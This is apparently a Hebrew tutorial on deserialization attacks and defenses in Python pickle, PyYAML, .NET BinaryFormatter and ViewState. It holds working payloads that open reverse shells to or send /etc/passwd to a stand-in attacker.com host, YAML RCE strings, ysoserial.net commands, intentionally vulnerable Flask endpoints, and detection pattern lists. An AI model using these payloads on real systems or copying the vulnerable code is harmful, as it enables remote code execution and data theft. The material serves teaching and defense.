לדלג לתוכן

דסריאליזציה מתקדמת - Python ו-NET

חלק א - Python Pickle

כיצד Pickle עובד

המודול pickle ב-Python מאפשר לסרלז ולדסרלז אובייקטים. הוא תומך כמעט בכל סוג אובייקט ב-Python, כולל מחלקות מותאמות.

import pickle

# סריאליזציה
data = {"user": "admin", "role": "viewer"}
serialized = pickle.dumps(data)
print(serialized)
# b'\x80\x04\x95\x1f\x00\x00\x00...'

# דסריאליזציה
restored = pickle.loads(serialized)
print(restored)
# {'user': 'admin', 'role': 'viewer'}

המתודה reduce - שורש הבעיה

כש-Python מבצעת דסריאליזציה, היא קוראת למתודה __reduce__() של האובייקט. מתודה זו מחזירה tuple שאומר ל-Python איך לבנות מחדש את האובייקט. תוקף יכול לנצל זאת כדי להריץ קוד:

import pickle
import os

class MaliciousObject:
    def __reduce__(self):
        # __reduce__ מחזיר tuple של (callable, args)
        # Python תקרא ל-callable עם args בזמן דסריאליזציה
        return (os.system, ("id",))

# יצירת payload
payload = pickle.dumps(MaliciousObject())
print(payload)

# כשמישהו מבצע דסריאליזציה - הפקודה תורץ
pickle.loads(payload)
# uid=1000(attacker) gid=1000(attacker)

בניית Payloads מתקדמים

import pickle
import base64

# Payload 1: Reverse Shell
class ReverseShell:
    def __reduce__(self):
        import os
        return (os.system, (
            "python3 -c 'import socket,subprocess,os;"
            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
            "s.connect((\"attacker.com\",4444));"
            "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
            "subprocess.call([\"/bin/sh\",\"-i\"])'",
        ))

payload = base64.b64encode(pickle.dumps(ReverseShell()))
print(f"Reverse Shell payload: {payload.decode()}")
# Payload 2: קריאת קובץ ושליחה לשרת חיצוני
class FileExfiltrator:
    def __reduce__(self):
        return (eval, (
            "__import__('urllib.request').request.urlopen("
            "'http://attacker.com/exfil?data='"
            "+__import__('base64').b64encode("
            "open('/etc/passwd','rb').read()).decode())",
        ))

payload = base64.b64encode(pickle.dumps(FileExfiltrator()))
print(f"Exfiltration payload: {payload.decode()}")
# Payload 3: שימוש ב-subprocess (יותר אמין מ-os.system)
class SubprocessRCE:
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (["whoami"],))

payload = base64.b64encode(pickle.dumps(SubprocessRCE()))
print(f"Subprocess payload: {payload.decode()}")

היכן Pickle נמצא בשימוש

# 1. Flask Sessions - אם ה-SECRET_KEY נפרץ
# Flask משתמש ב-itsdangerous שמבוסס על pickle
from flask import Flask, session
app = Flask(__name__)
app.secret_key = "weak_key"  # אם התוקף יודע את המפתח

# 2. Redis/Memcached caching
import redis
r = redis.Redis()
r.set("user_session", pickle.dumps(user_data))  # פגיע!
user_data = pickle.loads(r.get("user_session"))  # מסוכן!

# 3. Message Queues (Celery, RabbitMQ)
# Celery משתמש ב-pickle כ-serializer ברירת מחדל
from celery import Celery
app = Celery('tasks')
app.conf.update(
    task_serializer='pickle',  # מסוכן!
    accept_content=['pickle'],
)

# 4. NumPy/Pandas save/load
import numpy as np
np.save("data.npy", array)  # משתמש ב-pickle
np.load("data.npy", allow_pickle=True)  # מסוכן!

# 5. Machine Learning models
import joblib
joblib.dump(model, "model.pkl")  # pickle
model = joblib.load("model.pkl")  # מסוכן!

דוגמה לאפליקציה פגיעה

from flask import Flask, request
import pickle
import base64

app = Flask(__name__)

@app.route('/profile', methods=['POST'])
def update_profile():
    # קבלת נתונים מסורלזים מהמשתמש - פגיע!
    data = base64.b64decode(request.form.get('data'))
    profile = pickle.loads(data)  # RCE!
    return f"Updated profile for {profile.get('name')}"

חלק ב - YAML דסריאליזציה

הבעיה עם yaml.load()

ספריית PyYAML תומכת ב-tags מיוחדים שמאפשרים ליצור אובייקטים של Python:

import yaml

# שימוש מסוכן
data = yaml.load(user_input)  # פגיע!

# שימוש בטוח
data = yaml.safe_load(user_input)  # בטוח

Payloads של YAML RCE

# Payload 1: הרצת פקודה עם os.system
!!python/object/apply:os.system
- "id"

# Payload 2: שימוש ב-subprocess
!!python/object/apply:subprocess.check_output
- - "whoami"

# Payload 3: קריאת קובץ
!!python/object/apply:builtins.eval
- "__import__('os').popen('cat /etc/passwd').read()"

# Payload 4: Reverse shell
!!python/object/apply:os.system
- "python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"

# Payload 5: שימוש ב-map ו-apply
!!python/object/new:str
  state:
    !!python/tuple
      - "__import__('os').system('id')"
      - !!python/object/apply:builtins.eval []

דוגמה לאפליקציה פגיעה

from flask import Flask, request
import yaml

app = Flask(__name__)

@app.route('/config', methods=['POST'])
def update_config():
    config_yaml = request.form.get('config')
    # שימוש ב-yaml.load ללא Loader - פגיע!
    config = yaml.load(config_yaml)
    return f"Config updated: {config}"

ניצול

import requests

target = "http://vulnerable-app.com/config"
payload = '!!python/object/apply:os.system ["id"]'

response = requests.post(target, data={"config": payload})
print(response.text)

חלק ג - NET BinaryFormatter

סקירת סריאליזציה ב-NET

ב-.NET קיימים מספר מנגנוני סריאליזציה, חלקם מסוכנים:

מסוכנים (ניתנים לניצול):
- BinaryFormatter
- SoapFormatter
- ObjectStateFormatter
- NetDataContractSerializer
- LosFormatter

בטוחים יותר:
- DataContractSerializer (עם הגבלות)
- XmlSerializer (עם הגבלות)
- JSON.NET (עם הגדרות נכונות)

BinaryFormatter - הפגיע ביותר

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

// סריאליזציה
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream stream = new MemoryStream();
formatter.Serialize(stream, myObject);
byte[] data = stream.ToArray();

// דסריאליזציה - מסוכן!
MemoryStream stream = new MemoryStream(data);
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);  // RCE!

הכלי ysoserial.net

# הורדה
# https://github.com/pwntester/ysoserial.net/releases

# שרשראות נפוצות
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "cmd /c whoami"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "powershell -e BASE64_PAYLOAD"
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "ping attacker.com"

# פורמטים שונים
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"

שרשראות עיקריות

TypeConfuseDelegate - שרשרת אוניברסלית:

SortedSet<string>.readObject()
  --> Comparer.Compare()
    --> MulticastDelegate.DynamicInvoke()
      --> Process.Start("cmd.exe", "/c command")

ObjectDataProvider - שרשרת דרך WPF:

ObjectDataProvider.MethodName = "Start"
ObjectDataProvider.MethodParameters = ["cmd.exe", "/c command"]
ObjectDataProvider.ObjectInstance = Process

WindowsIdentity - שרשרת דרך Claims:

WindowsIdentity.readObject()
  --> ClaimsIdentity.ReadObject()
    --> BinaryFormatter.Deserialize() [nested!]
      --> TypeConfuseDelegate chain


חלק ד - NET ViewState

מה זה ViewState

ב-ASP.NET Web Forms, ה-ViewState הוא מנגנון ששומר את מצב הדף בין בקשות. הנתונים מסורלזים, מקודדים ב-Base64, ומוכנסים ב-hidden field:

<input type="hidden" name="__VIEWSTATE"
       value="wEPDwUKLTExODc0NzYzMA9kFgICAw9kFgICAQ..." />

ניצול ViewState לא מוצפן

אם ה-ViewState לא מוצפן ולא חתום, ניתן להחליף אותו ב-payload זדוני:

# יצירת payload
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "cmd /c whoami" -o base64

ניצול ViewState עם Machine Key

אם יש לנו את ה-Machine Key (מ-web.config), ניתן ליצור ViewState חתום:

<!-- web.config -->
<machineKey
  validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
  decryptionKey="E9D2490BD0075B51D1BA5288514514AF"
  validation="SHA1"
  decryption="3DES" />
# יצירת ViewState חתום עם ysoserial.net
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "cmd /c powershell -e JABjAGwA..." \
  --validationalg="SHA1" \
  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" \
  --decryptionalg="3DES" \
  --decryptionkey="E9D2490BD0075B51D1BA5288514514AF" \
  --path="/vulnerable-page.aspx" \
  --apppath="/" \
  --islegacy

איתור Machine Key

# מקומות נפוצים:
# 1. web.config (LFI, גיבויים, Git exposure)
# 2. Machine.config (ברמת השרת)
# 3. IIS configuration
# 4. Hardcoded keys בקוד

# כלים:
# Blacklist3r - בודק Machine Keys ידועים
# https://github.com/NotSoSecure/Blacklist3r

טכניקות זיהוי

זיהוי Python Pickle

# Magic bytes של pickle protocols
# Protocol 0: תווים קריאים (S'string'\n)
# Protocol 2: \x80\x02
# Protocol 3: \x80\x03
# Protocol 4: \x80\x04
# Protocol 5: \x80\x05

import base64

def detect_pickle(data):
    if isinstance(data, str):
        try:
            data = base64.b64decode(data)
        except:
            return False

    pickle_headers = [b'\x80\x02', b'\x80\x03', b'\x80\x04', b'\x80\x05']
    for header in pickle_headers:
        if data.startswith(header):
            return True

    # Protocol 0 - text-based
    if data.startswith(b'(') or data.startswith(b'c'):
        return True

    return False

זיהוי .NET Serialization

def detect_dotnet_serialization(data):
    if isinstance(data, str):
        try:
            data = base64.b64decode(data)
        except:
            return None

    # BinaryFormatter magic bytes
    if data[:4] == b'\x00\x01\x00\x00':
        return "BinaryFormatter"

    # SOAP formatter
    if b'<SOAP-ENV:Envelope' in data:
        return "SoapFormatter"

    # ViewState (LosFormatter)
    if data[:2] == b'\xff\x01':
        return "LosFormatter/ViewState"

    return None

זיהוי YAML עם Tags מסוכנים

import re

def detect_yaml_injection(yaml_string):
    dangerous_patterns = [
        r'!!python/object',
        r'!!python/object/apply',
        r'!!python/object/new',
        r'!!python/name',
        r'!!python/module',
        r'tag:yaml.org,2002:python',
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, yaml_string, re.IGNORECASE):
            return True, pattern

    return False, None

הגנות

Python - הימנעו מ-Pickle

# במקום pickle - השתמשו ב-JSON
import json

# סריאליזציה
data = json.dumps({"user": "admin", "role": "viewer"})

# דסריאליזציה
restored = json.loads(data)

# אם חייבים pickle - השתמשו ב-hmac לחתימה
import hmac
import hashlib

SECRET_KEY = b"very-secret-key"

def safe_dumps(obj):
    data = pickle.dumps(obj)
    sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    return sig + "|" + base64.b64encode(data).decode()

def safe_loads(signed_data):
    sig, encoded = signed_data.split("|", 1)
    data = base64.b64decode(encoded)
    expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected_sig):
        raise ValueError("Invalid signature!")
    return pickle.loads(data)

Python - YAML בטוח

import yaml

# תמיד השתמשו ב-safe_load
data = yaml.safe_load(user_input)

# או הגדירו Loader מפורש
data = yaml.load(user_input, Loader=yaml.SafeLoader)

NET - חלופות ל-BinaryFormatter

// במקום BinaryFormatter - השתמשו ב-System.Text.Json
using System.Text.Json;

string json = JsonSerializer.Serialize(myObject);
MyClass obj = JsonSerializer.Deserialize<MyClass>(json);

// או DataContractSerializer עם whitelist
using System.Runtime.Serialization;

DataContractSerializer serializer = new DataContractSerializer(
    typeof(MyClass),
    new DataContractSerializerSettings {
        KnownTypes = new[] { typeof(AllowedType1), typeof(AllowedType2) }
    }
);

NET - הגנת ViewState

<!-- web.config - הפעלת הצפנה וחתימה -->
<system.web>
    <pages viewStateEncryptionMode="Always" />
    <machineKey
        validationKey="AutoGenerate,IsolateApps"
        decryptionKey="AutoGenerate,IsolateApps"
        validation="HMACSHA256"
        decryption="AES" />
</system.web>

סיכום

טכנולוגיה מנגנון פגיע Payload הגנה
Python Pickle reduce os.system, subprocess השתמשו ב-JSON
PyYAML !!python/object tags os.system דרך YAML yaml.safe_load()
.NET BinaryFormatter Gadget chains ysoserial.net System.Text.Json
.NET ViewState LosFormatter ysoserial.net -p ViewState הצפנה + חתימה

הכלל הזהב: לעולם אל תבצעו דסריאליזציה של מידע שמגיע ממשתמש, בשום שפה ובשום פורמט. אם חייבים - השתמשו בפורמטים בטוחים כמו JSON, ותמיד חתמו את הנתונים.